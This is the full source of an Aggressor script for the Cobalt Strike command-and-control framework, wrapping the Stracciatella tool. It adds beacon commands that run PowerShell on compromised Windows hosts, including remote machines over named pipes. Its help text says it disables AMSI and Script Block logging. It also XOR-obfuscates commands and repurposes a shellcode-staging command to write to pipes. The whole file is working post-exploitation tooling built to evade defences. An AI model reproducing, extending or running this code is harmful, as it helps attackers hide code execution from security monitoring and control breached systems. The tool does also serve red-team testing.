stracciatella.cna

#
# Stracciatella wrapper for Cobalt Strike 4.0+. Capable of restoring previously set timeout value,
# and importing again previously used scripts.
#
# Registers following commands:
#   - stracciatella <command>
#   - stracciatella-remote <command>
#   - stracciatella-import <scriptpath>
#   - stracciatella-clear
#   - stracciatella-timeout <milliseconds>
#
# Author:
#   Mariusz Banach / mgeeky, '20
#   (https://github.com/mgeeky)
#

global('$STRACCIATELLA_PATH %IMPORTED_SCRIPTS %IMPORTED_CMDLETS $STRACCIATELLA_PIPE_READ_TIMEOUT');

$STRACCIATELLA_PATH = script_resource("Stracciatella.exe");
$STRACCIATELLA_PIPE_READ_TIMEOUT = 10 * 60 * 1000;

%IMPORTED_SCRIPTS = %();
%IMPORTED_CMDLETS = %();

beacon_command_register(
    "stracciatella",
    "Runs Powershell commands in a safe Stracciatella runspace.",
    "Use: stracciatella [-v] <command>\n\nDescription: Runs Stracciatella in a similar fashion to powerpick/powershell.\nIf '-v' is given, will result in verbose output from Stracciatella.\nThat will create a Powershell Runspace with Script Block logging and AMSI disabled for better OPSEC.");

beacon_command_register(
    "stracciatella-remote",
    "Runs Stracciatella against a remote machine.",
    "Use: stracciatella-remote [-v] <machine> <pipename> <command>\n\nDescription: Runs Stracciatella against a remote machine and a custom pipe name. '-v' is for verbose output.");

beacon_command_register(
    "stracciatella-import",
    "Imports a powershell script that will be later used by Stracciatella commands.",
    "Use: stracciatella-import <scriptpath>\n\nDescription: Imports a powershell script and extracts its cmdlets for later use with stracciatella commands.");

beacon_command_register(
    "stracciatella-script",
    "Preloads a specified Powershell script and launches given command with parameters.",
    "Use: stracciatella-script <scriptpath> <command>\n\nDescription: This function at a single run preloads a specified custom\nPowershell script and adds separator (semicolon) followed by <command> to run.\nUseful when we need to provide a Powershell script that for instance reflectively loads .NET assembly (Import-Module)\nand then we need to invoke that loaded module.");

beacon_command_register(
    "stracciatella-clear",
    "Clears stracciatella's imported script information.",
    "Clears stracciatella's imported script information.");

beacon_command_register(
    "stracciatella-timeout",
    "Sets timeout for named pipe read operation conducted by Stracciatella while awaiting for input script. Should be greater than Beacon's sleep parameter.",
    "Use: stracciatella-timeout <milliseconds>\n\nDescription: Stracciatella will be spawned with a randomly generated pipe name. That named pipe will then be used by accompanying aggressor script to pass powershell commands to be executed by Stracciatella after it reads them from a pipe bound for listening. Since the write-pipe operation can be scheduled and executed after a round sleep-time delay, Stracciatella may be found long after closing its named pipe due to no input timeout. This command allows to configure the time Stracciatella should wait for incoming data on its named pipe for reading. This value should be around (SleepTime+25 seconds). ");

beacon_command_register(
    "bofnet_loadstracciatella",
    "Loads Stracciatella into BOF.NET.",
    "Loads Stracciatella into BOF.NET. Works only if BOF.NET is available in Cobalt Strike.");

beacon_command_register(
    "bofnet_stracciatella",
    "(non-blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET bofnet_jobassembly",
    "Use: bofnet_stracciatella [-v] <command>\n\nDescription: Runs Stracciatella via bofnet_jobassembly (if one is used).\nIf '-v' is given, will result in verbose output from Stracciatella.\nThat will create a Powershell Runspace with Script Block logging and AMSI disabled for better OPSEC.");

beacon_command_register(
    "bofnet_executestracciatella",
    "(blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET bofnet_executeassembly",
    "Use: bofnet_stracciatella [-v] <command>\n\nDescription: Runs Stracciatella via bofnet_executeassembly (if one is used).\nIf '-v' is given, will result in verbose output from Stracciatella.\nThat will create a Powershell Runspace with Script Block logging and AMSI disabled for better OPSEC.");

beacon_command_register(
    "bofnet_stracciatella_script",
    "Preloads a specified Powershell script and launches given command with parameters (via BOF.NET).",
    "Use: bofnet_stracciatella_script <scriptpath> <command>\n\nDescription: This function at a single run preloads a specified custom\nPowershell script and adds separator (semicolon) followed by <command> to run.\nUseful when we need to provide a Powershell script that for instance reflectively loads .NET assembly (Import-Module)\nand then we need to invoke that loaded module.\nStracciatella will be loaded via bofnet_jobassembly");


$has_bofnet_commands = false;
$checkBofNetTimes = 3;
$checkedBofNetSoFar = 0;

sub checkBofnet {
    if($has_bofnet_commands == true) {
        return;
    }

    if($has_bofnet_commands == false) {
        foreach $command (beacon_commands()) {
            if('bofnet_init' iswm $command) {
                $has_bofnet_commands = true;
                break;
            }
        }
    }

    if((%options["prefer_bofnet_over_executeasm"] eq "true") && ($has_bofnet_commands == false)) {
        $checkedBofNetSoFar += 1;

        if($checkedBofNetSoFar > $checkBofNetTimes) {
            show_error("There is no BOF.NET loaded in Cobalt Strike! Load bofnet.cna or reload stracciatella.cna to use protected-execute-assembly");
        }
    }
}

sub writePipe {
    local('$bid $machine $pipeName $data $pipe');

    $bid = $1;
    $machine = $2;
    $pipeName = $3;
    $data = $4;

    $pipe = "\\\\" . $machine . "\\pipe\\" . $pipeName;

    #
    # CobaltStrike.jar:beacon.TaskBeacon.StagePipe():
    #
    # Command 57 originally used to stage xor-encoded shellcodes over pipe.
    # Repurposed to constitute a stable writePipe primitive.
    #
    $builder = [new beacon.CommandBuilder];
    [$builder setCommand: 57];
    [$builder addLengthAndString: $pipe];
    [$builder addString: $data];

    #println("Writing " . strlen($data) . " bytes to " . $pipe);
    call("beacons.task", $null, $bid, cast([$builder build], "b"));
}

sub readFile {
    local('$path $content $f $message');
    $path = $1;

    $pos1 = indexOf($path, "\"", 0);
    $pos2 = lindexOf($path, "\"");
    $pathlen = strlen($path);

    if(($pos1 == 0) && ($pos2 == $pathlen - 1)) {
        $path1 = substr($path, 1, $pathlen - 1);
        $path = $path1;
    }

    try {
        $f = openf($path);
        $content = readb($f, -1);
        if($content is $null) {
            throw "Read empty file";
        }
        closef($f);
        return $content;
    }
    catch $message { 
        println("[!] Stracciatella readFile FATAL ERROR: Could not open Powershell script file: $path");
        return "";
    }
}

# Based on beacon.TaskBeacon._extractFunctions():
sub _extractFunctions {
    local('$bid $data @cmdlets');
    $bid = $1;
    $data = lc($2);

    @cmdlets = @();

    while($data hasmatch "\\s*function\\s+([a-z0-9-]*).*?")
    {
        push(@cmdlets, lc(matched()[0]));
    }

    while($data hasmatch "\\s*set-alias\\s+([a-z0-9-]*).*?\\s+([a-z0-9-]*).*?")
    {
        push(@cmdlets, lc(matched()[0]));
    }

    %IMPORTED_CMDLETS[$bid] = @cmdlets;
}

sub isAttachingImportedScriptNeeded {
    local('$bid $i $args $param @cmdlets');
    $bid = $1;
    $args = $2;
    @cmdlets = @();

    while($args hasmatch "\\s*([a-zA-Z0-9-]+)\\s*") {
        push(@cmdlets, lc(matched()[0]));
    }

    for($i = 0; $i < size(@cmdlets); $i++) {
        if(@cmdlets[$i] in %IMPORTED_CMDLETS[$bid]) {
            return 1;
        }
    }

    return 0;
}

sub stracciatellaRestoreSettings {
    local('%entry %archives $bid $path $out');
    %archives = data_query('archives');

    if(size(%archives) == 0) {
        return;
    }
    
    foreach %entry (%archives) {
        if (%entry['type'] ne "input") {
            continue;
        }

        if(indexOf(%entry['data'], "stracciatella-timeout ", 0) == 0) {
            if(%entry['data'] ismatch '^stracciatella-timeout (\d+)$') {
                $STRACCIATELLA_PIPE_READ_TIMEOUT = matched()[0];
            }
        }
        
        if(indexOf(%entry['data'], "stracciatella-import ", 0) == 0) {
            if(%entry['data'] ismatch '^stracciatella-import (.+)$') {
                if(%entry['bid'] in beacon_ids()) {
                    %IMPORTED_SCRIPTS[%entry['bid']] = matched()[0];
                }
            }
        }
    }

    foreach $bid (keys(%IMPORTED_SCRIPTS)) {
        $path = %IMPORTED_SCRIPTS[$bid];
        $out = readFile($path);
        
        if(strlen($out) > 0) {
            _extractFunctions($bid, $out);
        }
        else {
            %IMPORTED_SCRIPTS[$bid] = "";
            remove(%IMPORTED_SCRIPTS, $bid);
        }
    }
}

sub executeAssembly {
    local('$bid $localpath $args $assemblyName $pos $firstScriptBytes $msg $job $mode');

    $bid = $1;
    $localpath = $2;
    $msg = $5;
    $mode = $6;
    $job = $7;
    
    $firstScriptBytes = strrep(strrep($4, '"', ''), "'", "");
    $args = "-l \" $+ $firstScriptBytes $+ \" $3";

    $useBofnet = false;

    if($mode == true) {
        if($has_bofnet_commands == true) {
            $useBofnet = true;
        }
        else {
            checkBofnet();
            if($has_bofnet_commands == false) {
                berror($1, "There is no BOF.NET loaded in Cobalt Strike. Try (re-)loading bofnet.cna and stracciatella.cna before using this.");
                return;
            }
        }
    }

    if($useBofnet) 
    {
        $assemblyName = getFileName($localpath);
        $pos = lindexOf($assemblyName, ".");

        if($pos) {
            $assemblyName = substr($assemblyName, 0, $pos);
        }

        #Temporary comment-out the lower-case assemblyName due problems with BOF.NET
        #$assemblyName = lc($assemblyName);

        if($job)
        {
            btask($bid, "Tasked beacon to run Stracciatella $msg via bofnet_jobassembly \c7" . $assemblyName . " $args \o");
            println("Stracciatella: augmented bofnet_jobassembly: bid='" . $bid . "', assemblyName='" . $assemblyName . "', args=' -l ' $+ $firstScriptBytes $+ ' " . $args . "'");

            fireAlias($bid, "bofnet_jobassembly", "$assemblyName $args");
        }
        else
        {
            btask($bid, "Tasked beacon to run Stracciatella $msg via bofnet_executeassembly \c7" . $assemblyName . " $args \o");
            println("Stracciatella: augmented bofnet_executeassembly: bid='" . $bid . "', assemblyName='" . $assemblyName . "', args=' -l ' $+ $firstScriptBytes $+ ' " . $args . "'");

            fireAlias($bid, "bofnet_executeassembly", "$assemblyName $args");
        }
    }
    else 
    {
        btask($bid, "Tasked beacon to run Stracciatella $msg $+ : \c7" . getFileName($localpath) . " $args \o");
        println("Stracciatella: augmented execute-assembly: bid='" . $bid . "', localpath='" . $localpath . "', args='-l ' $+ $firstScriptBytes $+ ' " . $args . "'");

        bexecute_assembly!($bid, $localpath, $args);
    }
}

sub runStracciatella {
    local('$bid $args $args0 $s $imported $cradle $scriptContents $opts $key $enc $verbose $pipename $mode $job');
    $bid = $1;
    $verbose = $2;
    $machine = $3;
    $pipename = $4;
    $args = $5;
    $customScript = $6;
    $mode = $7;
    $job = $8;

    $args0 = $args;

    #println("Running stracciatella with verbose = ' $+ $verbose $+ ' ; machine = ' $+ $machine $+ ' ; pipename = ' $+ $pipename $+ ' ; command = ' $+ $args $+ ' ; customScript = ' $+ $customScript $+ '");

    # generate the download cradle (if one exists) for an imported PowerShell script
    $script = "";
    $imported = 0;
    $custom = 0;

    $len = strlen($args);
    if($len > 50) { $len = 50; }

    $firstScriptBytes = substr($args, 0, $len);

    if(strlen($customScript) > 0) {
        $scriptContents = readFile($customScript);

        if(strlen($scriptContents) > 0) {
            if(right($scriptContents, 1) eq ";") { $s = " "; }

            $args = powershell_compress($scriptContents) . $s . $args;
            $imported = 1;
            $custom = 1;
        }
    }
    else if( ($1 in keys(%IMPORTED_SCRIPTS)) && (strlen(%IMPORTED_SCRIPTS[$1]) > 0)) {
        if(isAttachingImportedScriptNeeded($1, $args) == 1) {
            $script = %IMPORTED_SCRIPTS[$1];
            $s = "; ";
            $scriptContents = readFile($script);

            if(strlen($scriptContents) > 0) {
                if(right($scriptContents, 1) eq ";") { $s = " "; }

                $args = powershell_compress($scriptContents) . $s . $args;
                $imported = 1;
            }
        }
    }

    $key = rand(254) + 1;
    $opts = "";
    $enc = base64_encode(str_xor($args, chr($key)));

    if(strlen($enc) < 20000) {
        $opts = "$verbose $+ -x $key -e -c \" $+ $enc $+ \"";
    }
    else {
        $opts = "$verbose $+ -x $key -p $pipename -e -t $STRACCIATELLA_PIPE_READ_TIMEOUT";
    }

    $msg = "";

    if($imported == 0) {
        #btask($1, "Tasked Beacon to run Stracciatella: $args0", "T1093");
    }
    else {
        if ($custom == 1) {
            #btask($1, "Tasked Beacon to run Stracciatella with pre-loaded custom script ( $+ " . getFileName($customScript) . " $+ ): $args0", "T1093");
            $msg = "with pre-loaded custom script ( $+ " . getFileName($customScript) . " $+ )";
        }
        else {
            #btask($1, "Tasked Beacon to run Stracciatella with imported script ( $+ " . getFileName(%IMPORTED_SCRIPTS[$1]) . " $+ ): $args0", "T1093");
            $msg = "with imported script ( $+ " . getFileName(%IMPORTED_SCRIPTS[$1]) . " $+ )";
        }
    }

    if($machine eq ".") {
        executeAssembly($1, $STRACCIATELLA_PATH, $opts, $firstScriptBytes, $msg, $mode, $job);
    }

    if(strlen($enc) >= 20000) {
        writePipe($1, $machine, $pipename, $enc);
    }
}

alias bofnet_loadstracciatella {
    if($has_bofnet_commands == false) {
        berror($1, "There is no BOF.NET loaded in Cobalt Strike. Try (re-)loading bofnet.cna and stracciatella.cna before using this.");
        return;
    }

    fireAlias($1, "bofnet_load", $STRACCIATELLA_PATH);
}

alias stracciatella-import {
    local('$out $p');

    $p = substr($0, strlen("stracciatella-import "));

    $out = readFile($p);
    if(strlen($out) > 0) {
        %IMPORTED_SCRIPTS[$1] = $p;
        _extractFunctions($1, $out);
        btask($1, "Stracciatella imported ( $+ $p $+ ) having " . size(%IMPORTED_CMDLETS[$1]) . " cmdlets.");
    }
    else {
        berror($1, "Could not read contents of powershell script to import! Read 0 bytes.\nTry moving your script to other location (spaces in path? outside of a VM shared directory? does the file even exists?)");
    }
}

alias stracciatella-timeout {
    if ('stracciatella-timeout *' iswm $0) {
        $STRACCIATELLA_PIPE_READ_TIMEOUT = int(substr($0, strlen("stracciatella-timeout ")));
    }
    else {
        berror($1, "Stracciatella's read-pipe timeout must be specified in milliseconds.");
    }
}

alias stracciatella-clear {
    if( $1 in keys(%IMPORTED_SCRIPTS)) {
        %IMPORTED_SCRIPTS[$1] = "";
        remove(%IMPORTED_SCRIPTS, $1);
        %IMPORTED_CMDLETS[$1] = @();
        remove(%IMPORTED_CMDLETS, $1);
    }
}

alias stracciatella {
    local('$args0 $args $verbose $pipename');

    $args0 = substr($0, strlen("stracciatella "));
    $args = $args0;

    $verbose = "";
    if ('stracciatella -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("stracciatella -v "));
    }

    $pipename = [java.util.UUID randomUUID];
    runStracciatella($1, $verbose, ".", $pipename, $args, "", false, false);
}

alias bofnet_stracciatella {
    local('$args0 $args $verbose $pipename');

    if($has_bofnet_commands == false) {
        berror($1, "There is no BOF.NET loaded in Cobalt Strike. Try (re-)loading bofnet.cna and stracciatella.cna before using this.");
        return;
    }

    $args0 = substr($0, strlen("bofnet_stracciatella "));
    $args = $args0;

    $verbose = "";
    if ('bofnet_stracciatella -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("bofnet_stracciatella -v "));
    }

    $pipename = [java.util.UUID randomUUID];
    runStracciatella($1, $verbose, ".", $pipename, $args, "", true, true);
}

alias bofnet_executestracciatella {
    local('$args0 $args $verbose $pipename');

    if($has_bofnet_commands == false) {
        berror($1, "There is no BOF.NET loaded in Cobalt Strike. Try (re-)loading bofnet.cna and stracciatella.cna before using this.");
        return;
    }

    $args0 = substr($0, strlen("bofnet_executestracciatella "));
    $args = $args0;

    $verbose = "";
    if ('bofnet_executestracciatella -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("bofnet_executestracciatella -v "));
    }

    $pipename = [java.util.UUID randomUUID];
    runStracciatella($1, $verbose, ".", $pipename, $args, "", true, false);
}

alias stracciatella-remote {
    local('$args0 $args $verbose $pipename $machine $pos');

    $args0 = substr($0, strlen("stracciatella-remote "));
    $args = $args0;

    $verbose = "";
    if ('stracciatella-remote -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("stracciatella-remote -v "));
    }

    $pos = indexOf($args, " ", 0);
    if(($pos is $null) || (($pos + 1) > strlen($args))) {
        berror($1, "Usage: stracciatella-remote [-v] <machine> <pipename> <command>\n\nNo machine specified!");
        return;
    }

    $machine = substr($args, 0, $pos);
    $args = substr($args, $pos + 1);
    $pos = indexOf($args, " ", 0);

    if(($pos is $null) || (($pos + 1) > strlen($args))) {
        berror($1, "Usage: stracciatella-remote [-v] <machine> <pipename> <command>\n\nNo pipename specified!");
        return;
    }

    $pipename = substr($args, 0, $pos);
    $args = substr($args, $pos + 1);

    runStracciatella($1, $verbose, $machine, $pipename, $args, "", false, false);
}

alias stracciatella-script {
    local('$args0 $args $verbose $pipename');

    $args0 = substr($0, strlen("stracciatella-script "));
    $args = $args0;

    println("stracciatella-script $args0");

    $verbose = "";
    if ('stracciatella-script -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("stracciatella-script -v "));
    }

    $pos = indexOf($args, " ", 0);

    if(($pos is $null) || ($pos + 1) > strlen($args)) {
        berror($1, "Usage: stracciatella-script [-v] <path> <command>\n\nNo path or command specified to run stracciatella with preloaded custom script.");
        return;
    }

    $customScript = substr($args, 0, $pos);
    $args = substr($args, $pos + 1);

    $pipename = [java.util.UUID randomUUID];
    runStracciatella($1, $verbose, ".", $pipename, $args, $customScript, false, false);
}

alias bofnet_stracciatella_script {
    local('$args0 $args $verbose $pipename');

    if($has_bofnet_commands == false) {
        berror($1, "There is no BOF.NET loaded in Cobalt Strike. Try (re-)loading bofnet.cna and stracciatella.cna before using this.");
        return;
    }

    $args0 = substr($0, strlen("bofnet_stracciatella_script "));
    $args = $args0;

    println("bofnet_stracciatella_script $args0");

    $verbose = "";
    if ('bofnet_stracciatella_script -v *' iswm $0) {
        $verbose = "-v ";
        $args = substr($0, strlen("bofnet_stracciatella_script -v "));
    }

    $pos = indexOf($args, " ", 0);

    if(($pos is $null) || ($pos + 1) > strlen($args)) {
        berror($1, "Usage: bofnet_stracciatella_script [-v] <path> <command>\n\nNo path or command specified to run stracciatella with preloaded custom script.");
        return;
    }

    $customScript = substr($args, 0, $pos);
    $args = substr($args, $pos + 1);

    $pipename = [java.util.UUID randomUUID];
    runStracciatella($1, $verbose, ".", $pipename, $args, $customScript, true, false);
}

checkBofnet();
stracciatellaRestoreSettings();